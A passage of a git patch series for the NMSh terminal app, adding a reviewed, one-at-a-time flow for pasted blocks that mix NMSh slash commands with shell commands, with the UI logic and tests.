const) { await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); await frontend.run('echo READY', /READY/u); const records = async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); - const command = `sleep 2; ${perl} -e 'alarm 1; <STDIN>'; true`; - const ran = async () => (await records()).filter(record => record.command === command).length; + const reading = `sleep 2; ${perl} -e 'alarm 1; <STDIN>'; true`; + // The control's command reads nothing: where the platform reports the read (Linux), every entry typed during a + // command that asked waits for approval by design, a real command too. + const quiet = 'sleep 2; true'; // The real command first: an entry left waiting for approval would hold anything queued after it. - for (const [typed, runs] of [['echo QA-NEXT-RAN', true], [SECRET, false]] as const) { + for (const [typed, runs, command] of [['echo QA-NEXT-RAN', true, quiet], [SECRET, false, reading]] as const) { + const ran = async () => (await records()).filter(record => record.command === command).length; const mark = frontend.mark; const before = await ran(); frontend.pty.write(`${command}\r`); From ff3a98bb60a454f8999079f03e7061fc4856e072 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:54:52 +0530 Subject: [PATCH 088/157] Composer: a block mixing NMSh and shell commands is reviewed, then offered one at a time (QA F02) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA (Ghostty zsh, 68c1cbb7), reproduced twice: - Four pasted `/track …` lines gave NMSh's unknown-command error: Enter parsed the whole block as ONE slash command (`/track` with the other lines as its arguments). - `cd modules/bun-app` + `/modules`: the cd ran, then zsh said "no such file or directory: /modules": a block not starting with `/` went to the shell whole, NMSh's line with it. Paste Guard already labelled each line (NMSh command, navigation) and the batch splitter separated them; nothing acted on it, and the Batch path would have queued `/modules` for the shell too. Enter on text the shell grammar splits into several statements, one of them an NMSh command (pasted, typed with Ctrl+J, at the prompt or while a command runs), now submits and queues nothing. The text opens the reviewed list. For a list with NMSh commands, "one block" and "queue separately" are withdrawn (both would hand NMSh's lines to the shell); "one at a time" puts each command in the composer, unsent, in order. Each runs only on the person's Enter, the next is offered only after the one before succeeded (as the queue pauses on a failure), and Esc stops. Edit and Cancel run nothing. Multi-line shell text (scripts, heredocs, quotes holding a slash line) is unchanged, and a single NMSh command runs as before. Tests: tests/pasteSlashCommands.test.ts (QA's two pastes, failure, Esc, Cancel/Edit, Ctrl+J, while running, narrow widths; 6 fail before), and the paste, batch, composer, queue, input and slash-routing suites with pasteBatchLive and commandQueueLive: 374/374. --- src/app/TerminalApp.ts | 93 +++++++++++++- src/input/BatchReview.ts | 125 +++++++++++-------- tests/pasteSlashCommands.test.ts | 204 +++++++++++++++++++++++++++++++ 3 files changed, 368 insertions(+), 54 deletions(-) create mode 100644 tests/pasteSlashCommands.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2cf3ca81..25f636c7 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -278,7 +278,7 @@ import {explainModules, moduleTimings} from '../prompt/moduleReport.js'; import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; import type {BatchShell} from '../input/pasteBatch.js'; import {createPasteReview, displaySafe, pasteReviewKey, renderPasteReview, type PasteReviewState} from '../input/PasteReview.js'; -import {batchFromCommands, batchRefusal, batchReviewKey, batchTexts, batchBlockText, createBatchReview, createBatchReviewWithRefusal, renderBatchReview, type BatchReviewState} from '../input/BatchReview.js'; +import {batchFromCommands, batchRefusal, batchReviewKey, batchTexts, batchBlockText, createBatchReview, createBatchReviewWithRefusal, hasNmshCommand, renderBatchReview, type BatchReviewState} from '../input/BatchReview.js'; import {QUEUE_LIMIT} from '../session/CommandQueue.js'; import {addPin, addRecipe, changeItem, keepProblem, loadPins, pinsPath, removeItem, type PinData, type Recipe} from '../pins/PinStore.js'; import {createPinsPanel, pinsPanelKey, renderPinsPanel, type PinsPanelState} from '../pins/PinsPanel.js'; @@ -2100,6 +2100,11 @@ export class TerminalApp { this.output.addFrontendInteraction('/ps', `Queued ${texts.length} command${texts.length === 1 ? '' : 's'}. They run one at a time in this shell; /queue shows them.`, INFO); } done(); + } else if (action?.kind === 'steps') { + // One at a time (QA F02): each command waits in the composer, unsent, and runs only on the person's Enter. + this.pasteSteps = {items: batchTexts(review), next: 0, running: false}; + done(); + this.offerPasteStep(); } else if (action?.kind === 'block') { done(); void this.runReviewedBlock(batchBlockText(review)); @@ -2161,6 +2166,12 @@ export class TerminalApp { // Any other key (typing, editing) invalidates the paste preview and continues normal processing this.pastePreview = undefined; } + if (key.kind === 'escape' && this.pasteSteps && !this.pasteSteps.running && this.editor.text && !this.hasModalInput()) { + this.stopPasteSteps('Stopped'); + this.editor.clear(); + this.render(); + return; + } if (this.shelf.focused && this.handleShelfKey(key)) return; if (this.background.panel) { this.handleBackgroundPanelKey(key); return; } if (this.background.bar.focused && this.handleBackgroundBarKey(key)) return; @@ -3529,8 +3540,12 @@ export class TerminalApp { if (!(slash?.kind === 'ask' && !this.promptConfiguration.askRecord)) this.sessionSubmissions.push({text: command, slash: Boolean(slash && slash.kind !== 'unknown')}); if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); + const step = this.pasteSteps && !this.pasteSteps.running ? this.pasteSteps : undefined; + if (step) step.running = true; if (slash) { await this.runSlash(command, slash); + // NMSh's own command has done its part; one that started a shell command is followed at its prompt. + if (step && step === this.pasteSteps && !this.running) this.pasteStepDone(true); this.render(); return; } @@ -4347,6 +4362,12 @@ export class TerminalApp { } private onShellPrompt(exitCode: number, cwd: string, at = Date.now()): void { + const step = this.pasteSteps?.running && this.running ? this.pasteSteps : undefined; + this.shellPrompt(exitCode, cwd, at); + if (step && step === this.pasteSteps) this.pasteStepDone(exitCode === 0); + } + + private shellPrompt(exitCode: number, cwd: string, at = Date.now()): void { this.completionService.invalidate(); this.shellSuggestions = []; this.lastSuggestionInput = ''; @@ -8228,7 +8249,7 @@ export class TerminalApp { const now = Date.now(); const suggestion = this.clipboardChangeSuggested && !this.running && this.clipboardChangeWatch?.enabled ? [truncateAnsi(`${SUBTLE}Clipboard changed · /ps reads it for review${RESET}`, columns)] : []; - const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...watchNoticeRows(this.watches.active(), now).map(row => truncateAnsi(row, columns)), ...this.pastePreviewRows(columns)]; + const rows = [...this.clipboardRows(columns), ...suggestion, ...this.sessionNoticeRows(columns), ...this.taskRows(columns), ...watchNoticeRows(this.watches.active(), now).map(row => truncateAnsi(row, columns)), ...this.pastePreviewRows(columns), ...this.pasteStepRows(columns)]; const background = this.backgroundRows(columns); return shelf ? [...rows, ...background, shelf] : [...rows, ...background]; } @@ -8249,7 +8270,7 @@ export class TerminalApp { * show the review. A boundary the shell does not accept means command separation is refused with a clear explanation, * while still providing Run as block, Edit, or Cancel choices. */ - private async openBatchReview(text: string): Promise<void> { + private async openBatchReview(text: string, current: () => boolean = () => this.pastePreview?.text === text): Promise<void> { const shell = this.batchShell(); if (!shell) return; const capacity = Math.max(0, QUEUE_LIMIT - this.queueState.entries.length); @@ -8261,18 +8282,74 @@ export class TerminalApp { return; } const check = await verifyCommands(batchTexts(review), shell); - if (this.stopped || this.pastePreview?.text !== text) return; + if (this.stopped || !current()) return; if (check.ok) { review.note = [review.note, this.queuePolicyNote()].filter(Boolean).join(' · '); this.batchReview = review; } else { this.batchReview = createBatchReviewWithRefusal(text, shell, capacity, check.reason); - this.pastePreview = {...this.pastePreview, batch: false}; + if (this.pastePreview) this.pastePreview = {...this.pastePreview, batch: false}; if (this.pasteReview) this.pasteReview.batch = false; } this.render(); } + /** + * QA F02: Enter on text the shell grammar splits into several statements, one of them an NMSh command (a pasted + * `cd …` then `/modules`, four `/track` lines, or the same typed with Ctrl+J). Submitted as it is, the shell would get + * NMSh's lines (zsh: "no such file or directory: /modules") or the block would be one broken slash command. Nothing + * is submitted or queued: the text opens the reviewed list, whose one-at-a-time choice offers each command in turn. + */ + private reviewMixedBlock(text: string): boolean { + const shell = this.batchShell(); + if (!shell || !text.includes('\n')) return false; + const review = createBatchReview(text, shell, QUEUE_LIMIT); + if (!review || !hasNmshCommand(review)) return false; + this.editor.clear(); + this.composerHistory.reset(); + this.runningDraft = undefined; + this.pendingMixedBlock = text; + void this.openBatchReview(text, () => this.pendingMixedBlock === text).finally(() => { if (this.pendingMixedBlock === text) this.pendingMixedBlock = undefined; }); + this.render(); + return true; + } + + /** The next pasted command, unsent, when the composer is free; the last one ends the list. */ + private offerPasteStep(): void { + const steps = this.pasteSteps; + if (!steps || steps.running || this.running || this.editor.text) return; + const item = steps.items[steps.next]; + if (item === undefined) { this.pasteSteps = undefined; return; } + steps.next += 1; + this.editor.insertPaste(item); + this.composerHistory.reset(); + } + + /** A pasted command finished: the next is offered after a success; a failure stops the rest, as the queue pauses. */ + private pasteStepDone(ok: boolean): void { + const steps = this.pasteSteps; + if (!steps) return; + steps.running = false; + if (!ok) { this.stopPasteSteps('That command did not succeed'); return; } + if (steps.next >= steps.items.length) { this.pasteSteps = undefined; return; } + this.offerPasteStep(); + } + + private stopPasteSteps(why: string): void { + const steps = this.pasteSteps; + this.pasteSteps = undefined; + if (!steps) return; + const left = steps.items.length - steps.next; + if (left > 0) this.output.addFrontendInteraction('pasted commands', `${why}; the ${left === 1 ? 'next pasted command was' : `${left} pasted commands after it were`} not offered.`, INFO); + } + + /** The one-at-a-time strip above the composer: which pasted command waits there, and how to stop. */ + private pasteStepRows(columns: number): string[] { + const steps = this.pasteSteps; + if (!steps || steps.running || !this.editor.text || this.running) return []; + return [truncateAnsi(`${SUBTLE}Pasted command ${steps.next} of ${steps.items.length} · Enter runs it · Esc stops${RESET}`, columns)]; + } + /** * Run the reviewed paste as one outer execution in the real shell. * Grouped blocks remain one observed outer execution. @@ -9333,6 +9410,10 @@ export class TerminalApp { /** The one place the clipboard is read (only /ps calls it). */ private readClipboardText: () => Promise<string> = () => readClipboard(); private pasteReview?: PasteReviewState; + /** A mixed block from the composer whose reviewed list is being prepared (QA F02). */ + private pendingMixedBlock?: string; + /** Reviewed commands offered one at a time in the composer (QA F02); `running`: the offered one was entered. */ + private pasteSteps?: {items: string[]; next: number; running: boolean}; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); @@ -11818,10 +11899,12 @@ export class TerminalApp { return; } if (!text.trim()) return; + if (this.reviewMixedBlock(text)) return; this.enqueue(text); return; } if (intent === 'send') return; + if (this.reviewMixedBlock(text)) return; if (this.pendingQueuePause) { this.render(); return; } // An empty Enter where the queue offers something arms its review; nothing runs yet. const affordance = intent === 'enter' && !text.trim() ? this.queueAffordance() : undefined; diff --git a/src/input/BatchReview.ts b/src/input/BatchReview.ts index 3294e96f..492b3bd5 100644 --- a/src/input/BatchReview.ts +++ b/src/input/BatchReview.ts @@ -2,6 +2,7 @@ import type {Key} from '../terminal/keys.js'; import {renderControlRows} from '../ui/controls.js'; import {focusForeground, foreground, UI_COLORS} from '../ui/palette.js'; import {GLYPHS} from '../ui/glyphs.js'; +import {isSlashInput, parseSlashCommand} from '../commands/slashCommands.js'; import {classifyCommand, KIND_LABELS, primaryKind, splitCommands, type PasteKind} from './pasteGuard.js'; import {displaySafe} from './PasteReview.js'; import {splitBatch, type BatchCommand, type BatchShell} from './pasteBatch.js'; @@ -17,8 +18,9 @@ export interface BatchEntry extends BatchCommand { kinds: PasteKind[]; } -export type BatchChoice = 'block' | 'queue' | 'edit' | 'cancel'; -export const BATCH_CHOICES: readonly BatchChoice[] = ['block', 'queue', 'edit', 'cancel']; +/** steps: one at a time through the composer, for a list with NMSh commands (QA F02). */ +export type BatchChoice = 'block' | 'queue' | 'steps' | 'edit' | 'cancel'; +export const BATCH_CHOICES: readonly BatchChoice[] = ['block', 'queue', 'steps', 'edit', 'cancel']; export interface BatchReviewState { /** The paste exactly as it arrived. */ @@ -35,7 +37,7 @@ export interface BatchReviewState { title?: string; /** What the commands expect (the recipe's folder and the current one), shown above the list. */ note?: string; - /** Active execution choice: 'block' | 'queue' | 'edit' | 'cancel'. */ + /** Active execution choice. */ choice?: BatchChoice; /** Refusal reason if separation into separate commands is refused or unsafe. */ refusal?: string; @@ -45,6 +47,7 @@ export interface BatchReviewState { export type BatchReviewAction = | {kind: 'queue'} + | {kind: 'steps'} | {kind: 'block'} | {kind: 'text'} | {kind: 'edit'} @@ -92,19 +95,29 @@ export function entryKinds(text: string, depth = 0): PasteKind[] { return [...kinds]; } +/** + * A statement that is one of NMSh's own commands (QA F02). The shell would treat `/modules` as a path, and a block that + * starts with one is not a slash command either, so a list holding one is never run as a block or queued for the shell. + * Comment lines before it belong to the statement; a slash line inside a heredoc or a quote is the statement's text. + */ +export function isNmshStatement(text: string): boolean { + const command = text.split('\n').filter(line => !/^\s*#/u.test(line)).join('\n').trim(); + if (!isSlashInput(command)) return false; + const slash = parseSlashCommand(command); + return Boolean(slash && slash.kind !== 'unknown'); +} + +/** Any of the reviewed commands is NMSh's own; a refused paste counts any line that is one by itself. */ +export function hasNmshCommand(state: Pick<BatchReviewState, 'entries' | 'refusal'>): boolean { + return state.entries.some(entry => isNmshStatement(entry.text) || (state.refusal !== undefined && entry.text.split('\n').some(isNmshStatement))); +} + /** The paste as separate commands, when the shell grammar says it safely can be (two or more); undefined means "keep it as one block". */ export function createBatchReview(source: string, shell: BatchShell, capacity: number): BatchReviewState | undefined { const result = splitBatch(source, shell); if (!result.ok || result.commands.length < 2) return undefined; - return { - source, - entries: result.commands.map(command => ({...command, kinds: entryKinds(command.text)})), - cursor: 0, - top: 0, - capacity, - choice: 'queue', - verifiedCount: result.commands.length, - }; + const entries = result.commands.map(command => ({...command, kinds: entryKinds(command.text)})); + return {source, entries, cursor: 0, top: 0, capacity, choice: hasNmshCommand({entries}) ? 'steps' : 'queue', verifiedCount: result.commands.length}; } /** @@ -112,33 +125,33 @@ export function createBatchReview(source: string, shell: BatchShell, capacity: n */ export function createBatchReviewWithRefusal(source: string, shell: BatchShell, capacity: number, refusal?: string): BatchReviewState { const result = splitBatch(source, shell); - if (result.ok && result.commands.length >= 2 && !refusal) { - return { - source, - entries: result.commands.map(command => ({...command, kinds: entryKinds(command.text)})), - cursor: 0, - top: 0, - capacity, - choice: 'queue', - verifiedCount: result.commands.length, - }; - } + if (result.ok && result.commands.length >= 2 && !refusal) return createBatchReview(source, shell, capacity)!; const lines = source.split('\n'); const reason = refusal ?? (result.ok ? 'It is a single command.' : result.reason); + const entries = [{text: source, firstLine: 1, lastLine: lines.length, kinds: entryKinds(source)}]; return { source, - entries: [{text: source, firstLine: 1, lastLine: lines.length, kinds: entryKinds(source)}], + entries, cursor: 0, top: 0, capacity, - choice: 'block', + // A block holding an NMSh command line is never offered to the shell as one: only Edit and Cancel remain. + choice: hasNmshCommand({entries, refusal: reason}) ? 'edit' : 'block', refusal: reason, verifiedCount: result.ok ? result.commands.length : 1, }; } +/** The choice Enter acts on. A list with NMSh commands only ever has its own choices; otherwise as before. */ +function activeChoice(state: BatchReviewState, choices: readonly BatchChoice[]): BatchChoice { + const choice = state.choice ?? (state.refusal ? 'block' : 'queue'); + return hasNmshCommand(state) && !choices.includes(choice) ? choices[0]! : choice; +} + /** Available execution choices for the given batch review state. */ export function batchAvailableChoices(state: BatchReviewState): BatchChoice[] { + // NMSh's commands run in NMSh, one at a time; the shell (a block, its queue) never gets them. + if (hasNmshCommand(state)) return state.refusal ? ['edit', 'cancel'] : ['steps', 'edit', 'cancel']; const choices: BatchChoice[] = ['block']; const canQueue = !state.refusal && state.entries.length >= 2 && state.entries.length <= state.capacity; if (canQueue) choices.push('queue'); @@ -183,7 +196,7 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number }; const choices = batchAvailableChoices(state); - const currentChoice = state.choice ?? (state.refusal ? 'block' : 'queue'); + const currentChoice = activeChoice(state, choices); const cycleChoice = (step: number) => { let idx = choices.indexOf(currentChoice); if (idx === -1) idx = 0; @@ -206,6 +219,7 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number return state.entries.length && state.entries.length <= state.capacity ? {kind: 'queue'} : undefined; } if (currentChoice === 'block') return batchBlockText(state).trim() ? {kind: 'block'} : undefined; + if (currentChoice === 'steps') return state.entries.length ? {kind: 'steps'} : undefined; if (currentChoice === 'edit') return {kind: 'edit'}; if (currentChoice === 'cancel') return {kind: 'cancel'}; return undefined; @@ -220,20 +234,20 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number else if (key.kind === 'delete' || key.kind === 'backspace') remove(state); else if (key.kind === 'text') { const value = key.value.toLowerCase(); - if (value === '1') { state.choice = 'block'; return undefined; } + if (value === '1') { if (choices.includes('block') || choices.includes('steps')) state.choice = choices.includes('steps') ? 'steps' : 'block'; return undefined; } if (value === '2') { if (choices.includes('queue')) state.choice = 'queue'; return undefined; } if (value === '3') { state.choice = 'edit'; return undefined; } if (value === '4') { state.choice = 'cancel'; return undefined; } - if (value === 'b') { state.choice = 'block'; return undefined; } + if (value === 'b') { if (choices.includes('block')) state.choice = 'block'; return undefined; } if (value === 'x') remove(state); else if (value === 'k') move(-1); else if (value === 'j') move(1); else if (value === 't') return {kind: 'text'}; else if (value === 'e' && state.entries.length) return {kind: 'edit'}; - else if (value === 'q' && state.entries.length && state.entries.length <= state.capacity && !state.refusal) return {kind: 'queue'}; + else if (value === 'q' && choices.includes('queue') && state.entries.length && state.entries.length <= state.capacity) return {kind: 'queue'}; else if (value === 'c') return {kind: 'cancel'}; } state.top = Math.max(0, Math.min(state.top, Math.max(0, state.entries.length - rows))); @@ -296,27 +310,38 @@ export function renderBatchReview(state: BatchReviewState, columns: number, heig // Execution choices bar const choices = batchAvailableChoices(state); - const activeChoice = state.choice ?? (state.refusal ? 'block' : 'queue'); + const active = activeChoice(state, choices); const compact = columns < 70; const choicePills: string[] = []; + const nmsh = hasNmshCommand(state); + if (nmsh) { + out.push(` ${subtle}${truncateText(state.refusal ? 'It has NMSh commands, which never go to the shell: edit it, or enter them one by one.' + : 'NMSh commands run in NMSh, not the shell: each command waits in the composer in turn, and runs on your Enter.', width)}${reset}`); + if (!state.refusal) { + const stepsLabel = compact ? `1 One at a time (${count})` : `1 One at a time · ${count} command${count === 1 ? '' : 's'}`; + choicePills.push(active === 'steps' ? `${accent}${GLYPHS.selection} [${stepsLabel}]${reset}` : `${subtle}[${stepsLabel}]${reset}`); + } + } - const blockFocused = activeChoice === 'block'; - const blockLabel = compact ? '1 Block' : '1 Run as block'; - choicePills.push(blockFocused ? `${accent}${GLYPHS.selection} [${blockLabel} · 1 outer execution]${reset}` : `${subtle}[${blockLabel}]${reset}`); + if (!nmsh) { + const blockFocused = active === 'block'; + const blockLabel = compact ? '1 Block' : '1 Run as block'; + choicePills.push(blockFocused ? `${accent}${GLYPHS.selection} [${blockLabel} · 1 outer execution]${reset}` : `${subtle}[${blockLabel}]${reset}`); - const queueFocused = activeChoice === 'queue'; - const canQueue = choices.includes('queue'); - if (canQueue) { - const queueLabel = compact ? `2 Queue (${count})` : `2 Queue separately · ${count} statement${count === 1 ? '' : 's'}`; - choicePills.push(queueFocused ? `${accent}${GLYPHS.selection} [${queueLabel}]${reset}` : `${subtle}[2 Queue]${reset}`); - } else { - choicePills.push(`${subtle}[2 Queue · refused]${reset}`); + const queueFocused = active === 'queue'; + const canQueue = choices.includes('queue'); + if (canQueue) { + const queueLabel = compact ? `2 Queue (${count})` : `2 Queue separately · ${count} statement${count === 1 ? '' : 's'}`; + choicePills.push(queueFocused ? `${accent}${GLYPHS.selection} [${queueLabel}]${reset}` : `${subtle}[2 Queue]${reset}`); + } else { + choicePills.push(`${subtle}[2 Queue · refused]${reset}`); + } } - const editFocused = activeChoice === 'edit'; + const editFocused = active === 'edit'; choicePills.push(editFocused ? `${accent}${GLYPHS.selection} [3 Edit]${reset}` : `${subtle}[3 Edit]${reset}`); - const cancelFocused = activeChoice === 'cancel'; + const cancelFocused = active === 'cancel'; choicePills.push(cancelFocused ? `${accent}${GLYPHS.selection} [4 Cancel]${reset}` : `${subtle}[4 Cancel]${reset}`); out.push(` ${choicePills.join(' ')}`); @@ -340,16 +365,18 @@ export function renderBatchReview(state: BatchReviewState, columns: number, heig const selected = state.entries[state.cursor]; const notes = 2; - const actionLabel = activeChoice === 'block' + const actionLabel = active === 'steps' + ? 'first command to the composer' + : active === 'block' ? 'run as block' - : activeChoice === 'queue' + : active === 'queue' ? `queue ${count}` - : activeChoice === 'edit' + : active === 'edit' ? 'edit in composer' : 'cancel'; const controls = renderControlRows([['↑↓', 'select'], ['←→/Tab', 'choice'], ['Enter', actionLabel], ['e', 'edit as text'], ['t', 'original text'], ['Esc', 'back']], columns); - if (activeChoice === 'block' && state.entries.length <= 1) { + if (active === 'block' && state.entries.length <= 1) { out.push('', ` ${subtle}Entire block, exactly as it will run as 1 outer execution${reset}`); const wrapped = batchBlockText(state).split('\n').flatMap(line => wrapRows(line, Math.max(8, width - 4))); const room = Math.max(2, height - out.length - notes - controls.length - 1); @@ -366,11 +393,11 @@ export function renderBatchReview(state: BatchReviewState, columns: number, heig if (wrapped.length > shown) out.push(` ${failure}… ${wrapped.length - shown} more row${wrapped.length - shown === 1 ? "" : "s"} hidden; still part of the command${reset}`); } out.push(''); - if (activeChoice === 'block') { + if (active === 'block') { out.push(` ${subtle}${truncateText('Nothing runs until you press Enter. The shell runs 1 outer execution.', width)}${reset}`); - } else if (activeChoice === 'edit') { + } else if (active === 'edit') { out.push(` ${subtle}${truncateText('Press Enter to open this text in the composer for editing. Nothing will be executed.', width)}${reset}`); - } else if (activeChoice === 'cancel') { + } else if (active === 'cancel') { out.push(` ${subtle}${truncateText('Press Enter to cancel and discard this paste. Nothing will be executed.', width)}${reset}`); } else if (count > state.capacity) { out.push(` ${failure}${truncateText(`The queue has room for ${state.capacity} more; remove ${count - state.capacity} to queue these.`, width)}${reset}`); diff --git a/tests/pasteSlashCommands.test.ts b/tests/pasteSlashCommands.test.ts new file mode 100644 index 00000000..7d5600ce --- /dev/null +++ b/tests/pasteSlashCommands.test.ts @@ -0,0 +1,204 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import {batchAvailableChoices, batchReviewKey, createBatchReview, renderBatchReview} from '../src/input/BatchReview.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * QA F02 (v0.22 physical QA, Ghostty + zsh, 68c1cbb7): a pasted block mixing NMSh commands with shell commands. + * A: four `/track …` lines gave NMSh's unknown-command error: the whole block was parsed as ONE slash command. + * B: `cd modules/bun-app` + `/modules`: the cd ran, then zsh said "no such file or directory: /modules": the whole + * block went to the shell, NMSh's line with it. + * Enter submitted the composer's text as one unit. Now a block the shell grammar splits into several statements, any of + * them an NMSh command, is never submitted or queued as it is: it opens the reviewed list, and "one at a time" puts each + * command in the composer, unsent, in order; each runs only on its own Enter, the next is offered only after the one + * before succeeded, and Esc stops. Multi-line shell text (scripts, heredocs, Ctrl+J) is unchanged. + */ + +const A = '/track ls\n/track df -h\n/track cat track/f.txt\n/track ls missing'; +const B = 'cd modules/bun-app\n/modules'; +const settled = () => new Promise(done => setImmediate(done)); + +function fixture() { + const frame = executionFrameFixture(110, 34); + const submitted: string[] = []; + const slashes: string[] = []; + const queueOps: QueueOp[] = []; + Object.defineProperty(frame.session, 'submit', {value: (text: string) => { submitted.push(text); }, configurable: true}); + Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); frame.owner.request(op); }, configurable: true}); + // NMSh commands are recorded, not run: what matters is that NMSh, not the shell, gets each one, alone. + frame.app['runSlash'] = async (command: string) => { slashes.push(command); }; + const key = (value: Parameters<typeof frame.app['handleKey']>[0]) => frame.app['handleKey'](value); + const enter = () => key({kind: 'enter'}); + const composer = () => frame.app['editor'].text as string; + const adds = () => queueOps.filter(op => op.op === 'add').map(op => (op as {text: string}).text); + const reviewing = async () => { + // The fixture's clock is frozen: bounded by rounds (the review waits for the shell's parse check). + for (let round = 0; !frame.app['batchReview'] && round < 800; round += 1) await new Promise(done => setTimeout(done, 10)); + assert.ok(frame.app['batchReview'], 'the reviewed list opened'); + }; + /** Paste, then Enter twice: the preview inserts it, the second Enter is the one QA pressed. */ + const pasteAndEnter = async (text: string) => { key({kind: 'paste', value: text}); enter(); assert.equal(composer(), text); enter(); await settled(); }; + const screen = () => frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n'); + return {...frame, submitted, slashes, adds, key, enter, composer, reviewing, pasteAndEnter, screen}; +} + +test('review: a list with an NMSh command offers one at a time only, never one block or the shell\'s queue', () => { + for (const source of [A, B]) { + const review = createBatchReview(source, 'zsh', 100)!; + assert.deepEqual(batchAvailableChoices(review), ['steps', 'edit', 'cancel'], source); + assert.equal(review.choice, 'steps'); + for (const shortcut of ['1', 'b', 'q', '2']) { + assert.equal(batchReviewKey(review, {kind: 'text', value: shortcut}, 26), undefined, `${shortcut} does nothing`); + assert.notEqual(review.choice, 'block'); + assert.notEqual(review.choice, 'queue'); + } + review.choice = 'steps'; + assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 26), {kind: 'steps'}); + } + // A slash line inside a heredoc is the heredoc's text (zsh, Bash), not a statement. + for (const shell of ['zsh', 'bash'] as const) { + const heredoc = createBatchReview('cd /tmp\ncat <<EOF\n/track ls\nEOF', shell, 100)!; + assert.deepEqual(heredoc.entries.map(entry => entry.text), ['cd /tmp', 'cat <<EOF\n/track ls\nEOF']); + assert.deepEqual(batchAvailableChoices(heredoc), ['block', 'queue', 'edit', 'cancel'], shell); + } + // The list says why, and fits narrow windows. + const review = createBatchReview(B, 'zsh', 100)!; + for (const columns of [30, 50, 80, 120]) { + const rows = renderBatchReview(review, columns, 20); + assert.ok(rows.length <= 20); + for (const row of rows) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${columns}: ${stripAnsi(row)}`); + } + assert.match(stripAnsi(renderBatchReview(review, 120, 20).join('\n')), /One at a time · 2 commands[\s\S]*NMSh commands run in NMSh, not the shell|NMSh commands run in NMSh, not the shell[\s\S]*One at a time · 2 commands/u); + assert.doesNotMatch(stripAnsi(renderBatchReview(review, 120, 20).join('\n')), /Run as block|Queue separately/u); + // Shell-only lists are unchanged. + assert.deepEqual(batchAvailableChoices(createBatchReview('cd /tmp\nls', 'zsh', 100)!), ['block', 'queue', 'edit', 'cancel']); +}); + +test('F02 B: `cd` + `/modules` pasted and entered: nothing runs; NMSh offers them one at a time, each on its own Enter', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + assert.deepEqual(f.submitted, [], 'nothing reached the shell'); + assert.deepEqual(f.slashes, []); + f.enter(); + assert.equal(f.app['batchReview'], undefined); + assert.equal(f.composer(), 'cd modules/bun-app', 'the first command waits in the composer, unsent'); + assert.match(f.screen(), /1 of 2/u); + assert.deepEqual(f.submitted, []); + f.enter(); await settled(); + assert.equal(f.submitted.length, 1); + assert.match(f.submitted[0]!, /cd modules\/bun-app/u); + assert.doesNotMatch(f.submitted[0]!, /\/modules\b(?!\/)/u, 'the shell never gets the NMSh line'); + f.begin('cd modules/bun-app'); + f.complete(0); await settled(); + assert.equal(f.composer(), '/modules', 'after it succeeded, the next one is offered, unsent'); + assert.deepEqual(f.slashes, []); + f.enter(); await settled(); + assert.deepEqual(f.slashes, ['/modules'], 'NMSh runs its own command'); + assert.equal(f.submitted.length, 1, 'still only the cd reached the shell'); + assert.equal(f.composer(), ''); + assert.doesNotMatch(f.screen(), /of 2/u, 'done: nothing more is offered'); + } finally { f.dispose(); } +}); + +test('F02 A: four `/track` lines pasted and entered: each is NMSh\'s own command, alone, on its own Enter', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(A); + await f.reviewing(); + assert.deepEqual(f.slashes, [], 'not parsed as one broken command'); + f.enter(); + for (const line of A.split('\n')) { + assert.equal(f.composer(), line); + f.enter(); await settled(); + } + assert.deepEqual(f.slashes, A.split('\n')); + assert.deepEqual(f.submitted, []); + } finally { f.dispose(); } +}); + +test('F02: a failed step stops the rest; Esc stops them too; nothing left is run', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + f.enter(); + f.enter(); await settled(); + f.begin('cd modules/bun-app'); + f.complete(1); await settled(); + assert.equal(f.composer(), '', 'the next command is not offered after a failure'); + assert.match(f.screen(), /not offered/u); + assert.deepEqual(f.slashes, []); + // Esc while a step waits in the composer. + await f.pasteAndEnter(B); + await f.reviewing(); + f.enter(); + assert.equal(f.composer(), 'cd modules/bun-app'); + f.key({kind: 'escape'}); + assert.equal(f.composer(), ''); + f.begin('true'); + f.complete(0); await settled(); + assert.equal(f.composer(), '', 'stopped: nothing more is offered'); + assert.equal(f.submitted.length, 1); + } finally { f.dispose(); } +}); + +test('F02: the reviewed list\'s Cancel and Edit run nothing', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + f.key({kind: 'text', value: 'c'}); + assert.equal(f.app['batchReview'], undefined); + assert.equal(f.composer(), ''); + await f.pasteAndEnter(B); + await f.reviewing(); + f.key({kind: 'text', value: 'e'}); + assert.equal(f.composer(), B, 'Edit puts the text back as it was'); + assert.deepEqual(f.submitted, []); + assert.deepEqual(f.slashes, []); + } finally { f.dispose(); } +}); + +test('F02: typed with Ctrl+J, or entered while a command runs, a mixed block is not 